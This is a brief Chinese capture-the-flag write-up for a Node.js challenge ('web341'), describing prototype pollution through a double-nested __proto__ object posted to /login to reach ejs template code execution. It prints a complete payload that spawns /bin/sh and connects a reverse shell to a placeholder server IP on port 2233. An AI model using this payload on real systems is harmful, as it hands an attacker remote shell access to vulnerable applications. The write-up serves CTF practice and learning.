题目描述处蓝奏云下载源码
web341.zip
这题和其他不同的是没有 /api
接口触发污染点了,所以使用 web338 中的 ejs
RCE。
然后像 web340 一样污染要套两层。下面 EXP 也服务器监听端口是 2233
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}
注意这里的前面的 _tmp1;
和后面的 var __tmp2
不能删,web338 evil0 的分析有体现到,是为了闭合代码。
同样 POST 一下 /login 接口污染数据
然后请求一个会调用 render
方法的接口
即可获得 flag